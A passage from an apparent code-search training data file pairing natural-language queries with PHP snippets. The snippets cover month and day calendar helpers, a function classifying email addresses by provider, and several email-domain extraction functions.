31 days \n \n $monthDays = 31;\n }\n \n $endPoint = DateTime::createFromFormat('Y-m-d H:i:s', $startPoint->format('Y').'-'.$m.'-'.$monthDays.' 23:59:59');\n \n if ( $endPoint > $endDate ) {\n \n $endPoint = $endDate;\n } \n \n array_push( $hiredDays,\n array(\n 'year' => $startPoint->format('Y'),\n 'month' => $startPoint->format('n'),\n 'days' => $startPoint->diff($endPoint, true)->days + 1\n )\n );\n\n if ( $endPoint == $endDate ) {\n break;\n }\n \n $m = $m == 12 ? 1 : $m + 1;\n }\n } \n return $hiredDays;\n }", "function ShowDayOfMonth($get_month){\n\t$arr_d1 = explode(\"-\",$get_month);\n\t$xdd = \"01\";\n\t$xmm = \"$arr_d1[1]\";\n\t$xyy = \"$arr_d1[0]\";\n\t$get_date = \"$xyy-$xmm-$xdd\"; // วันเริ่มต้น\n\t//echo $get_date.\"<br>\";\n\t$xFTime1 = getdate(date(mktime(0, 0, 0, intval($xmm+1), intval($xdd-1), intval($xyy))));\n\t$numcount = $xFTime1['mday']; // ฝันที่สุดท้ายของเดือน\n\tif($numcount > 0){\n\t\t$j=1;\n\t\t\tfor($i = 0 ; $i < $numcount ; $i++){\n\t\t\t\t$xbasedate = strtotime(\"$get_date\");\n\t\t\t\t $xdate = strtotime(\"$i day\",$xbasedate);\n\t\t\t\t $xsdate = date(\"Y-m-d\",$xdate);// วันถัดไป\t\t\n\t\t\t\t $arr_d2 = explode(\"-\",$xsdate);\n\t\t\t\t $xFTime = getdate(date(mktime(0, 0, 0, intval($arr_d2[1]), intval($arr_d2[2]), intval($arr_d2[0]))));\t\n\t\t\t\t if($xFTime['wday'] == 0){\n\t\t\t\t\t $j++;\n\t\t\t\t\t\t \n\t\t\t\t\t}\n\t\t\t\t\tif($xFTime['wday'] != \"0\"){\n\t\t\t\t\t\t$arr_date[$j][$xFTime['wday']] = $xsdate;\t\n\t\t\t\t\t}\n\t\t\t\t \n\t\t\t}\n\t\t\t\n\t}//end if($numcount > 0){\n\treturn $arr_date;\t\n}", "public static function days_in_month($month, $year)\n\t{\n\t\t// calculate number of days in a month\n\t\treturn $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);\n\t}", "public static function getMonths()\n {\n return [ \n CarbonInterface::JANUARY => 'January', \n CarbonInterface::FEBRUARY => 'February', \n CarbonInterface::MARCH => 'March', \n CarbonInterface::APRIL => 'April', \n CarbonInterface::MAY => 'May', \n CarbonInterface::JUNE => 'June', \n CarbonInterface::JULY => 'July', \n CarbonInterface::AUGUST => 'August', \n CarbonInterface::SEPTEMBER => 'September', \n CarbonInterface::OCTOBER => 'October', \n CarbonInterface::NOVEMBER => 'November', \n CarbonInterface::DECEMBER => 'December', \n ];\n }", "function getMonthDays($month,$year){\n$has31days=checkdate($month,31,$year);\n$isSchalt=checkdate(2,29,$year);\n\tif ($isSchalt==1 && $month==2) $maxdays=29;\n\telseif ($isSchalt!=1 && $month==2) $maxdays=28;\n\telseif ($has31days==1) $maxdays=31;\n\telse $maxdays=30;\nreturn $maxdays;\n}", "public function getNumbersOfDays($month, $year) {\n return cal_days_in_month(CAL_GREGORIAN, $month, $year);\n }", "public function getCalendarColumns() {\n $dates = array();\n $date = new DateTime();\n\n $dates[] = $date->format(\"Y-m\");\n\n for ($i = 1; $i < 12; $i++) {\n $date->modify('+1 month');\n $dates[] = $date->format(\"Y-m\");\n }\n return $dates;\n }", "public function calculateTimeMachine()\n {\n $days = array();\n for ($i=1; $i < 31; $i++) {\n $date = date('c', strtotime(\"-$i days\"));\n array_push($days, strtotime($date));\n }\n return $days;\n }", "protected function unav_days_to_dates(string $month, int $year, Room $room_for_check){\r\n $days = $this->row_to_days($month, $year, $room_for_check);\r\n// var_dump($days);\r\n \r\n if (!$days){\r\n return;\r\n }\r\n\r\n $this->year = $year;\r\n $this->active_month = $month;\r\n\r\n $unav_dates_in_month = array();\r\n \r\n foreach($days as $day){\r\n $fixed_month = ucfirst ($this->active_month); \r\n $date_string = $day.\"/\".$fixed_month.\"/\".$this->year;\r\n $new_date = DateTime::createFromFormat('d/M/Y', $date_string);\r\n// var_dump($new_date);\r\n $unav_dates_in_month[] = $new_date;\r\n// var_dump($new_date->format('d/M/Y'));\r\n\r\n //OVIM SU NAPRAVLJENI DATUMI ZA POREDJENJE OD UNESENIH ARGUMENATA\r\n }\r\n// var_dump($unav_dates_in_month);\r\n $this->$month = $unav_dates_in_month;\r\n return $unav_dates_in_month;\r\n}", "public static function get_carbon__month(int $year, int $month) {\n if ($month < 1 || $year < 1000) {\n return [];\n }\n\n $month = Carbon::createFromDate($year, $month, 1);\n $days_in_month = $month->daysInMonth;\n $month_array = [];\n\n for ($i = 0; $i < $days_in_month; $i++) {\n // Array append.\n $month_array[] = $month->copy();\n $month->addDay();\n }\n\n return $month_array;\n }", "public function getMonthEn() \n {\n $month = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');\n \n return $month;\n }", "public function getMonths()\n {\n return [\n 1 => 'Januari',\n 2 => 'Februari',\n 3 => 'Maart',\n 4 => 'April',\n 5 => 'Mei',\n 6 => 'Juni',\n 7 => 'Juli',\n 8 => 'Augustus',\n 9 => 'September',\n 10 => 'Oktober',\n 11 => 'November',\n 12 => 'December'\n ];\n }", "public function empty_days(string $month, int $year){\r\n $active_month = static::month_str_to_int($month);\r\n $first_date_of_month = new DateTime(\"$year-$month-1\");\r\n $first_day_of_month = $first_date_of_month->format('D');\r\n switch ($first_day_of_month) {\r\n case \"Mon\":\r\n $empty_days = 0;\r\n break;\r\n case \"Tue\":\r\n $empty_days = 1;\r\n break;\r\n case \"Wed\":\r\n $empty_days = 2;\r\n break;\r\n case \"Thu\":\r\n $empty_days = 3;\r\n break;\r\n case \"Fri\":\r\n $empty_days = 4;\r\n break\r\n ;case \"Sat\":\r\n $empty_days = 5;\r\n break;\r\n case \"Sun\":\r\n $empty_days = 6;\r\n break;\r\n default: die(\"wrong m/y format\");\r\n } \r\n return $empty_days; \r\n \r\n }", "private function daysDefault(){\n $data = array();\n\n for($i=1; $i<=31; $i++){\n $data['day_'.$i] = 0;\n }\n\n return $data;\n }", "public function get_months($months) {\n $cnt = count($months);\n $month_data = array();\n for ($a12 = 0; $a12 < $cnt; $a12++) {\n $month = $months[$a12];\n $month_data[] = $months[$a12];\n $a12 = ($a12 * 1 + 3);\n }\n return $month_data;\n }", "function getNbDayInMonth()\n {\n return $this->nbDaysMonth;\n }", "public static function listMonth()\r\n {\r\n $mes[1] = 'Janeiro';\r\n $mes[2] = 'Fevereiro';\r\n $mes[3] = 'Março';\r\n $mes[4] = 'Abril';\r\n $mes[5] = 'Maio';\r\n $mes[6] = 'Junho';\r\n $mes[7] = 'Julho';\r\n $mes[8] = 'Agosto';\r\n $mes[9] = 'Setembro';\r\n $mes[10] = 'Outubro';\r\n $mes[11] = 'Novembro';\r\n $mes[12] = 'Dezembro';\r\n\r\n return $mes;\r\n }", "public function getMonth() \n {\n $month = array('Januar', 'Februar', 'Mart', 'April', 'Maj', 'Juni', 'Juli', 'Avgust', 'Septembar', 'Octobar', 'Novembar', 'Decembar');\n \n return $month;\n }", "function create_calendar_array($used_dates){\n\n\t//create array of dates for October with false attributes\n\t$october = array();\n\tfor($day=1;$day<=31;$day++){\n\t\t$october[$day]=FALSE;\n\t}\n\t\n\t//compare used dates to whole month\n\tforeach\t($used_dates as $post_id=>$date){\n\t\t$october[intval($date['day'])][]=$post_id;\n\t}\n\t\t\n\t\n\treturn $october;\n}", "function getNumDays($month, $year) {\r\n $has30 = array(4, 6, 9, 11);\r\n if (in_array($month, $has30)) {\r\n return 30;\r\n } elseif ($month == 2) {\r\n // Leap years are equally divisible by 4\r\n return ($year % 4) ? 28 : 29;\r\n } else {\r\n return 31;\r\n }\r\n}", "public function getIncomeDaysWeek() {\r\n $month_array = array();\r\n $income_days = Income::where('resto_id', Session::get('id'))->pluck('added_on');\r\n $income_days = json_decode( $income_days );\r\n $i = 0;\r\n foreach($income_days as $date) {\r\n $date_name = Carbon::createFromFormat('Y-m-d', $date)->format('d M Y');\r\n $month_array[$i] = $date_name;\r\n $i++;\r\n\r\n }\r\n return $month_array;\r\n }", "public function get_month($month) {\n\t\t$start_time = 'first day of ' . date( 'M Y', $month );\n\t\t$end_time = 'last day of ' . date( 'M Y', $month );\n\n\t\treturn array(\n\t\t\t'start'\t\t\t=>\tdate('Y-m-d', strtotime($start_time)),\n\t\t\t'end'\t\t\t=>\tdate('Y-m-d', strtotime($end_time)),\n\t\t\t'start_time'\t\t=>\tstrtotime( $start_time ),\n\t\t\t'end_time'\t\t=>\tstrtotime( $end_time )\n\t\t);\n\t}", "function hebrew_month_days($mo, $yr) {\n\n\t\tswitch ($mo) {\n\t\t\tcase 2:\t\t//fixed length 29 day months\n\t\t\tcase 4:\n\t\t\tcase 6:\n\t\t\tcase 10:\n\t\t\tcase 13:\n\t\t\t\treturn (29);\n\t\t\t\tbreak;\n\t\t\tcase 12:\n\t\t\t\tif (! hebrew_leap($yr) ) return(29);\n\t\t\t\tbreak;\n\t\t\tcase 8:\n\t\t\t\t//Heshvan depends on length of year\n\t\t\t\tif ( !( (hebrew_year_days($yr) % 10) == 5) ) return (29);\n\t\t\t\tbreak;\n\t\t\tcase 9:\n\t\t\t\t//Kislev also varies with the length of year\n\t\t\t\tif ( (hebrew_year_days($yr) % 10) == 3 ) return (29);\n\t\t\t\tbreak;\n\t\t}\n\n\t\t//otherwise the month has 30 days\n\t\treturn (30);\n\t}", "protected function compileDays()\n\t{\n\t\t$arrDays = array();\n\n\t\tfor ($i=0; $i<7; $i++)\n\t\t{\n\t\t\t$intCurrentDay = ($i + $this->cal_startDay) % 7;\n\t\t\t$arrDays[$intCurrentDay] = $GLOBALS['TL_LANG']['DAYS'][$intCurrentDay];\n\t\t}\n\n\t\treturn $arrDays;\n\t}", "static function getNumberOfDays($month, $year){\n\t\tswitch($month){\n\t\t\tcase 1:\n\t\t\tcase 3:\n\t\t\tcase 5:\n\t\t\tcase 7:\n\t\t\tcase 8:\n\t\t\tcase 10:\n\t\t\tcase 12:\n\t\t\t\treturn 31;\n\t\t\tcase 2:\n\t\t\t\treturn ($year % 4) == 0 ? 29 : 28;\n\t\t\tdefault:\n\t\t\t\treturn 30;\n\t\t}\n\t}", "function monthOptions(){\n\t\t$months = range('01', '12');\n\t\tforeach ($months as $key => $month) {\n\t\t\t$months[$key] = str_pad($month, 2, '0', STR_PAD_LEFT);\n\t\t}\n\t\treturn array_combine($months, $months);\n\t}", "public function get_month_permastruct()\n {\n }", "protected function getThisMonthInterval(): array\n\t{\n\t\treturn [\n\t\t\tnew \\DateTime(date('Y-m-01', strtotime(date('Y-m-d')))),\n\t\t\tnew \\DateTime(date('Y-m-t', strtotime(date('Y-m-d'))))\n\t\t];\n\t}", "function createNextMonthArray() { \n\t\t$date = date(\"Ymd\");\n\t\t$result = array($date);\n\n\n\t\tfor ($i=0; $i < 5; $i++) { \n\t\t\t$timestamp = strtotime($date);\n\t\t\t$date =date(\"Ymd\", strtotime('+1 day', $timestamp));\n\t\t\tarray_push($result,$date);\n\t\t}\n\t\treturn $result;\n\t}", "public function getDifferenceInMonths();", "function semanasMes($year,$month){\n \n # Obtenemos el ultimo dia del mes\n $ultimoDiaMes=date(\"t\",mktime(0,0,0,$month,1,$year)); \n # Obtenemos la semana del primer dia del mes\n $primeraSemana=date(\"W\",mktime(0,0,0,$month,1,$year)); \n # Obtenemos la semana del ultimo dia del mes\n $ultimaSemana=date(\"W\",mktime(0,0,0,$month,$ultimoDiaMes,$year)); \n # Devolvemos en un array los dos valores\n return array($primeraSemana,$ultimaSemana);\n \n}", "private function setMonthNames()\n\t{\n\t\t$range = range(1,12);\n\t\t$return = array();\n\t\tforeach($range AS $key => $monthNum)\n\t\t{\n\t\t $fmt = datefmt_create ($this->locale, null, null, null, IntlDateFormatter::GREGORIAN, 'MMMM');\n\t\t\t$return[$monthNum] = datefmt_format( $fmt , mktime(12,0,0,$monthNum,1,date('Y')));\n\t\t}\n\n\t\treturn $return;\n\t}", "public static function no_of_days_in_month(string $month, $year){\r\n $month = static::month_str_to_int($month);\r\n $number = cal_days_in_month(CAL_GREGORIAN, $month, $year); \r\n return $number;\r\n }", "function getCurrentMonthNumDays() {\n\t\treturn $this->_currentMonthNumDays;\n\t}", "public function getMoisCloture($months)\n {\n \n $result = array();\n\n foreach ($months as $month) {\n \n $explode = explode('-', $month);\n $value = strval(intval($explode[0]) - 1) . '-' . $explode[1];\n array_push($result, $value);\n\n }\n\n return $result;\n\n }", "public function months(): int\n {\n return $this->months;\n }", "private function return_dates($dados)\n {\n\n $var_month = $dados[0]->mes;\n $var_year = $dados[0]->ano;\n $var_dayOfWeek = $dados[0]->dia_encontro;\n $var_counting_days = cal_days_in_month(CAL_GREGORIAN, $var_month, $var_year); //days of month\n\n $dini = mktime(0,0,0,$var_month,1,$var_year);\n $dfim = mktime(0,0,0,$var_month,$var_counting_days,$var_year);\n\n $return_d = array();\n\n while($dini <= $dfim) //Enquanto uma data for inferior a outra\n {\n $dt = date(\"d/m/Y\",$dini); //Convertendo a data no formato dia/mes/ano\n $diasemana = date(\"w\", $dini);\n\n if($diasemana == $var_dayOfWeek)\n { // [0 Domingo] - [1 Segunda] - [2 Terca] - [3 Quarta] - [4 Quinta] - [5 Sexta] - [6 Sabado]\n array_push($return_d, $dt);\n }\n\n $dini += 86400; // Adicionando mais 1 dia (em segundos) na data inicial\n }\n\n //Segundo dia encontro\n $var_month = $dados[0]->mes;\n $var_year = $dados[0]->ano;\n $var_dayOfWeek = $dados[0]->segundo_dia_encontro;\n $var_counting_days = cal_days_in_month(CAL_GREGORIAN, $var_month, $var_year); //days of month\n\n $dini = mktime(0,0,0,$var_month,1,$var_year);\n $dfim = mktime(0,0,0,$var_month,$var_counting_days,$var_year);\n\n $bPrimeiro = false;\n\n while($dini <= $dfim) //Enquanto uma data for inferior a outra\n {\n $dt = date(\"d/m/Y\",$dini); //Convertendo a data no formato dia/mes/ano\n $diasemana = date(\"w\", $dini);\n\n if($diasemana == $var_dayOfWeek)\n { // [0 Domingo] - [1 Segunda] - [2 Terca] - [3 Quarta] - [4 Quinta] - [5 Sexta] - [6 Sabado]\n\n if ($bPrimeiro==false) {\n array_push($return_d, \"\");\n array_push($return_d, \" Segundo Dia Encontro \");\n }\n\n array_push($return_d, $dt);\n $bPrimeiro=true;\n }\n\n $dini += 86400; // Adicionando mais 1 dia (em segundos) na data inicial\n }\n\n array_push($return_d, \"\");\n array_push($return_d, \" Encontro Avulso (Criar Novo) \");\n\n //Verifica se houve encontro avulso para a celula / mes / ano\n $dt_encontro_avulso = $this->buscar_data_avulsa($dados[0]->celulas_id, $var_month, $var_year);\n\n if ($dt_encontro_avulso!=null) {\n array_push($return_d, \"\");\n array_push($return_d, \" Houve Encontro Avulso : \");\n\n foreach ($dt_encontro_avulso as $item) {\n array_push($return_d, date(\"d/m/Y\", strtotime($item->data_encontro)));\n }\n }\n\n return ($return_d);\n\n }", "public function monthLengthDays(int $month = null, int $year = null) : int\n {\n $mnth = $month ?? $this->format('m');\n switch ($mnth) {\n case 1:\n case 3:\n case 5:\n case 7:\n case 8:\n case 10:\n case 12:\n return 31;\n case 4:\n case 6:\n case 9:\n case 11:\n return 30;\n case 2:\n return !date('L', $year === null ? $this->getTimestamp() : mktime(1, 1, 1, 2, 1, $year)) ? 28 : 29;\n }\n throw new \\InvalidArgumentException('Arg month[' . $month . '] is not 1 through 12.');\n }", "public function get_days() {\n\t\t\treturn iterator_to_array( $this->days );\n\t\t}", "public static function month_num($month){\n if (is_numeric($month)){\n return $month;\n }\n\n $m = array();\n $ret_val = 0;\n if (is_string($month)){\n /* $m = array(1 => 'january', 'february', 'march', 'april', 'may', 'june', 'july',\n 'august', 'september', 'october', 'november', 'december',); */\n $month = drupal_strtolower($month);\n for($ctr = 1; $ctr <= 12; $ctr++){\n $m[$ctr] = drupal_strtolower(date('F', mktime(0, 0, 0, $ctr, 1, date('Y'))));\n if ($m[$ctr] == $month){\n $ret_val = $ctr;\n break;\n }\n }\n }\n\n return $ret_val;\n\n }", "public function getCcMonths()\n {\n $months = $this->getData('cc_months');\n if (is_null($months)) {\n $months[0] = $this->__('Month');\n $months = array_merge($months, $this->_getConfig()->getMonths());\n $this->setData('cc_months', $months);\n }\n return $months;\n }", "public function getDayOfMonth()\n {\n return $this->dayOfMonth;\n }", "public function testGetDayOfMonth()\n {\n $test_data = array(\n array(1985, 1, 31),\n array(1985, 2, 28),\n array(2000, 2, 29),\n array(2012, 2, 29),\n array(1985, 3, 31),\n array(1985, 4, 30),\n array(1985, 5, 31),\n array(1985, 6, 30),\n array(1985, 7, 31),\n array(1985, 8, 31),\n array(1985, 9, 30),\n array(1985, 10, 31), \n array(1985, 11, 30),\n array(1985, 12, 31),\n );\n foreach ($test_data as $data) {\n $result = DateUtility::getDayOfMonth($data[0], $data[1]);\n $this->assertEquals($data[2], $result);\n }\n }", "public function get_month_choices()\n {\n }", "function get_month_to_search() {\n global $DB;\n $sql = \"SELECT date AS fecha FROM {report_user_statistics};\";\n $dates = $DB->get_records_sql($sql);\n $result = array();\n foreach ($dates as $date) {\n $fecha = new DateTime(\"@$date->fecha\");\n $result[$fecha->format('m')] = month_converter($fecha->format('m'));\n }\n return $result;\n}", "public static function getWeekdaysInMonth($month, $year) {}", "public function getCcMonths()\r\n {\r\n $months = $this->getData('cc_months');\r\n if (is_null($months)) {\r\n $months[0] = $this->__('Month');\r\n $months = array_merge($months, Mage::getSingleton('payment/config')->getMonths());\r\n $this->setData('cc_months', $months);\r\n }\r\n return $months;\r\n }", "private function getEditableMonths($startYear = 2013, $startMonth = 1)\n {\n $months = array();\n $start = Carbon::create($startYear, $startMonth, 1);\n $end = Carbon::now()->addMonth();\n\n while($end->gte($start))\n {\n array_push($months, $end->copy());\n $end->subMonth();\n }\n\n return $months;\n\n }", "public function getCcMonths()\n {\n $months = $this->getData('cc_months');\n if ($months === null) {\n $months[0] = $this->__('Month');\n $months = array_merge($months, $this->_getConfig()->getMonths());\n $this->setData('cc_months', $months);\n }\n\n return $months;\n }", "public function listMonths()\n {\n return $this->ozioma->month->list();\n }", "function getDaysWithPosts($monthBeginn) {\n\t\t$monthEnd = $monthBeginn + ((int)date('t', $monthBeginn) * 24 * 3600);\n\n\t\t$userAgent = t3lib_div::getIndpEnv('HTTP_USER_AGENT');\n\t\tif (strstr($userAgent, 'MSIE') || strstr(strtolower($userAgent), 'camino') || strstr(strtolower($userAgent), 'safari')) {\n\t\t\t//IE, Camino, Safari\n\t\t\t$titleSeparator = \"\\n\";\n\t\t} else {\n\t\t\t//every other browser\n\t\t\t$titleSeparator = ', ';\n\t\t}\n\n\t\t$result = $GLOBALS['TYPO3_DB']->exec_SELECTgetRows(\n\t\t\t'title, datetime',\n\t\t\t'tt_news',\n\t\t\t'datetime > '.$monthBeginn.' AND datetime < '.$monthEnd.$this->enableFields,\n\t\t\t'datetime ASC'\n\t\t);\n\n\t\t$daysWithPosts = array();\n\t\tforeach($result as $row) {\n\t\t\t$day = date('j', $row['datetime']);\n\t\t\tif(!empty($daysWithPosts[$day])) {\n\t\t\t\t$daysWithPosts[$day] .= $titleSeparator.$row['title'];\n\t\t\t} else {\n\t\t\t\t$daysWithPosts[$day] = $row['title'];\n\t\t\t}\n\t\t}\n\n\t\treturn $daysWithPosts;\n\t}", "protected function get_month_names() {\n\t\tglobal $wp_locale;\n\n\t\t$month_names = [];\n\n\t\tfor ( $i = 1; $i < 13; $i = $i + 1 ) {\n\t\t\t$month_num = zeroise( $i, 2 );\n\t\t\t$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );\n\t\t\t$month_names[] = array(\n\t\t\t\t'value' => $month_num,\n\t\t\t\t'text' => $month_text,\n\t\t\t\t'label' => sprintf( _x( '%1$s-%2$s', 'month number-name', 'unpublish' ), $month_num, $month_text ),\n\t\t\t);\n\t\t}\n\n\t\treturn $month_names;\n\t}", "function cal_days_in_year($year){\n $days=0; \n for($month=1;$month<=12;$month++){ \n $days = $days + cal_days_in_month(CAL_GREGORIAN,$month,$year);\n }\n return $days;\n}", "public static function getNumberOfCurrentMonthDays(): int\n {\n $currentDate = self::getCurrentDateTime();\n\n return self::getNumberOfMonthDays($currentDate);\n }", "protected function getMonthOptions()\n {\n $options = [];\n $currentMonth = date('n');\n $currentYear = date('Y');\n $rangeFormat = (null !== $this->range_format) ? $this->range_format : 'M Y';\n\n if ((null !== $this->range) && (strpos($this->range, '-') !== false)) {\n $rangeAry = explode('-', $this->range);\n if (($rangeAry[0] == 'SOY') && ($rangeAry[1] == 'EOY')) {\n $currentMonth = 1;\n $range = 12;\n } else if (is_numeric($rangeAry[0]) && is_numeric($rangeAry[1])) {\n if ($rangeAry[0] > 13) {\n $rangeAry[0] = 13;\n }\n if ($rangeAry[1] >= 12) {\n $rangeAry[1] = 13;\n }\n $range = $rangeAry[0] + $rangeAry[1];\n if (($currentMonth - $rangeAry[0]) < 0) {\n $currentMonth = 12 + ($currentMonth - $rangeAry[0]);\n $currentYear--;\n } else {\n $currentMonth = $currentMonth - $rangeAry[0];\n }\n } else {\n $range = 12;\n }\n } else {\n switch ($this->range) {\n case (null):\n $range = 12;\n break;\n case ('EOY'):\n $range = 12 - date('m') + 1;\n break;\n default:\n $range = $this->range;\n }\n }\n\n for ($i = 0; $i < $range; $i++) {\n $value = $currentYear . '-' . (($currentMonth < 10) ? '0' . $currentMonth : $currentMonth);\n $options[$value] = date($rangeFormat, strtotime($value));\n if ($currentMonth == 12) {\n $currentMonth = 1;\n $currentYear++;\n } else {\n $currentMonth++;\n }\n }\n\n return $options;\n }", "public static function getMonthNames()\n {\n return array( TextHelper::_('COBALT_JANUARY'),\n TextHelper::_('COBALT_FEBRUARY'),\n TextHelper::_('COBALT_MARCH'),\n TextHelper::_('COBALT_APRIL'),\n TextHelper::_('COBALT_MAY'),\n TextHelper::_('COBALT_JUNE'),\n TextHelper::_('COBALT_JULY'),\n TextHelper::_('COBALT_AUGUST'),\n TextHelper::_('COBALT_SEPTEMBER'),\n TextHelper::_('COBALT_OCTOBER'),\n TextHelper::_('COBALT_NOVEMBER'),\n TextHelper::_('COBALT_DECEMBER') );\n }", "public function getDays()\n {\n $days = array('Ponedeljak', 'Utorak', 'Sreda', 'Četvrtak', 'Petak', 'Subota', 'Nedelja');\n \n return $days;\n }", "protected function _getMonthArrayByLanguage(string $language = null) : array\n\t{\n\t\t$monthArray = [];\n\t\t$dater = new Dater();\n\t\t$articles = Db::forTablePrefix('articles')\n\t\t\t->whereLanguageIs($language)\n\t\t\t->whereNull('access')\n\t\t\t->where('status', 1)\n\t\t\t->orderByDesc('date')\n\t\t\t->findMany();\n\n\t\t/* process article */\n\n\t\tforeach ($articles as $value)\n\t\t{\n\t\t\t$dater->init($value->date);\n\t\t\t$dateKey = $dater->getDateTime()->format('Y-m');\n\t\t\t$monthArray[$dateKey][] = $value;\n\t\t}\n\t\treturn $monthArray;\n\t}", "private static function validate_months($months)\n\t{\n\t\t$res = array();\n\t\tif (!is_array($months))\n\t\t\t$months = array();\n\n\t\tfor ($i = 1; $i <= 12; $i++) {\n\t\t\t$res[$i] = 0.0;\n\t\t\tif (isset($months[$i])) {\n\t\t\t\t$res[$i] = $months[$i];\n\t\t\t}\n\t\t}\n\t\treturn $res;\n\t}", "function getWeekDays($y=NULL, $m=NULL, $d=NULL)\n {\n return array(0, 1, 2, 3, 4, 5, 6);\n }", "public static function getMonths($num_month = null){\n $monthsArray = array(\n 1 => 'Enero'\n , 2 => 'Febrero'\n , 3 => 'Marzo'\n , 4 => 'Abril'\n , 5 => 'Mayo'\n , 6 => 'Junio'\n , 7 => 'Julio'\n , 8 => 'Agosto'\n , 9 => 'Septiembre'\n , 10 => 'Octubre'\n , 11 => 'Noviembre'\n , 12 => 'Diciembre');\n \n if($num_month == null)\n return $monthsArray;\n else\n return $monthsArray[$num_month];\n }" ]
[ "0.800454", "0.8000759", "0.78457767", "0.7763012", "0.7679744", "0.76066476", "0.7531211", "0.7424939", "0.7422823", "0.7337807", "0.7301716", "0.72468656", "0.72239876", "0.72016174", "0.7189543", "0.71480614", "0.71293855", "0.7077033", "0.7029741", "0.69875556", "0.69791615", "0.696942", "0.69667023", "0.695947", "0.6954504", "0.6929798", "0.6925733", "0.69176406", "0.68761224", "0.6840625", "0.6806468", "0.6802411", "0.6787639", "0.6786465", "0.6748716", "0.6689354", "0.668901", "0.6659895", "0.663489", "0.6624793", "0.65946937", "0.6590658", "0.6586573", "0.6559076", "0.6541124", "0.64669913", "0.64611715", "0.64428467", "0.64322466", "0.6408219", "0.63689536", "0.63620245", "0.6361209", "0.6342044", "0.63354737", "0.63246924", "0.63071054", "0.62899363", "0.62896067", "0.6274905", "0.62678474", "0.6260141", "0.62329364", "0.6226112", "0.6214981", "0.6212757", "0.61809766", "0.6168746", "0.6125306", "0.61217016", "0.6120629", "0.6111327", "0.6110174", "0.6095788", "0.6088237", "0.6072955", "0.60610586", "0.60541874", "0.6043983", "0.602705", "0.60200846", "0.6005263", "0.599106", "0.59906286", "0.597127", "0.59707344", "0.59682226", "0.59563154", "0.5954586", "0.5949367", "0.5948666", "0.59482366", "0.59481317", "0.59409374", "0.59332806", "0.5925339", "0.5912345", "0.5901082", "0.58773714", "0.5864592" ]
0.6714374
35
This function will return email domain.
public static function checkEmailDomain($email){ $googleArray = array('googlemail','gmail'); $yahooArray = array('yahoo','ymail','rocketmail'); $hotmailArray = array('hotmail','live'); $rediffArray = array('rediff'); foreach($googleArray as $v){ if(strstr($email,'@'.$v)){ return 'G'; } } foreach($yahooArray as $v) { if(strstr($email,'@'.$v)){ return 'Y'; } } foreach($hotmailArray as $v){ if(strstr($email,'@'.$v)){ return 'H'; } } foreach($rediffArray as $v){ if(strstr($email,'@'.$v)){ return 'R'; } } return 'O'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDomain()\n\t{\n\t\treturn substr(strrchr($this->email, \"@\"), 1);\n\t}", "public function getDomain()\n {\n return substr($this->email, strpos($this->email, '@'));\n }", "public function getDomain(): string\n {\n $domain = php_uname('n');\n if ($this->from) {\n $email = $this->from[0];\n list(, $domain) = explode('@', $email);\n }\n\n return $domain;\n }", "function get_email_domain($e)\n{\n\t$email = explode('@', $e);\n\t$num = count($email);\n\treturn $email[$num-1];\n}", "public function getDomain()\n {\n $hostParts = explode('.', $this->getHost());\n array_shift($hostParts);\n\n return implode('.', $hostParts);\n }", "public function get_domain(): string\n {\n return $this->domain;\n }", "public function getDomain(): string\n {\n return $this->domain;\n }", "public function getDomain(): string\n {\n return $this->domain;\n }", "public function getDomain(): string\r\n {\r\n return $this->domain;\r\n }", "public function getDomain(string $email)\n {\n return substr($email, $this->getPosOfAt($email));\n }", "public function domain()\n {\n return $this->protocol() . \"://\" . $this->host();\n }", "public function getDomain(): string;", "public function get_external_domain(): string;", "static public function getDomain()\n {\n $user = self::getUser(true);\n $pos = strpos($user, '@');\n\n return ($pos !== false)\n ? substr($user, $pos + 1)\n : false;\n }", "public function extractDomain($email)\n {\n return substr(strrchr($email, '@'), 1);\n }", "public function get_domain()\r\n\t\t{\r\n\t\t\treturn $_SERVER[ 'SERVER_NAME' ];\r\n\t\t}", "public function get_domain()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $this->_load_config();\n\n $domain = (empty($this->config['domain'])) ? '' : $this->config['domain'];\n\n if (empty($domain))\n $domain = $this->convert_domain();\n\n return $domain;\n }", "public static function getDomainFromEmail($emailAddress)\n {\n return substr(strrchr($emailAddress, \"@\"), 1);\n }", "public function getDomain(): string {\n return $this->context->domain;\n }", "public function domain()\n {\n return isset($this->action['domain'])\n ? str_replace(['http://', 'https://'], '', $this->action['domain']) : null;\n }", "protected function _domainName() {\n\t\t$this->CI->load->helper('url');\n\t $url = site_url();\n\t //$parse the url\n\t\t$host = parse_url( $url, PHP_URL_HOST );\n\t\t//reverse array\n\t\t$host = array_reverse( explode( '.', $host ) );\n\t\t//check in_array for .bd domain name\n\t\tif( in_array( 'bd', $host ) == True ) :\n\t\t\t$host = $host[2] . '.' . $host[1] . '.' . $host[0];\n\t\telseif( in_array( 'localhost', $host ) == true ) :\n\t\t\t$host = $host[0];\n\t\telse :\n\t\t\t$host = $host[1] . '.' . $host[0];\n\t\tendif;\n\t\treturn $host;\n\t}", "public function domainName()\n\t{\n\t\treturn isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];\n\t}", "public function domain(): string|null\n\t{\n\t\tif (empty($this->host) === true || $this->host === '/') {\n\t\t\treturn null;\n\t\t}\n\n\t\t$auth = $this->auth();\n\t\t$domain = '';\n\n\t\tif ($auth !== null) {\n\t\t\t$domain .= $auth . '@';\n\t\t}\n\n\t\t$domain .= $this->host;\n\n\t\tif ($this->port !== null && in_array($this->port, [80, 443]) === false) {\n\t\t\t$domain .= ':' . $this->port;\n\t\t}\n\n\t\treturn $domain;\n\t}", "private function get_cookie_domain() {\n\t\t$requested_domain_parts = explode( '.', $_SERVER['HTTP_HOST'] );\n\t\t$cookie_domain = array_pop( $requested_domain_parts );\n\t\t$cookie_domain = '.' . array_pop( $requested_domain_parts ) . '.' . $cookie_domain;\n\n\t\treturn $cookie_domain;\n\t}", "public static function domainName()\n {\n return implode('.', array(self::domainWord(), self::domainSuffix()));\n }", "public function getDomain(): ?string\n {\n return $this->sDomain;\n }", "public function getDomain()\n {\n return Session::get(self::DOMAIN) ?? self::$domain;\n }", "public 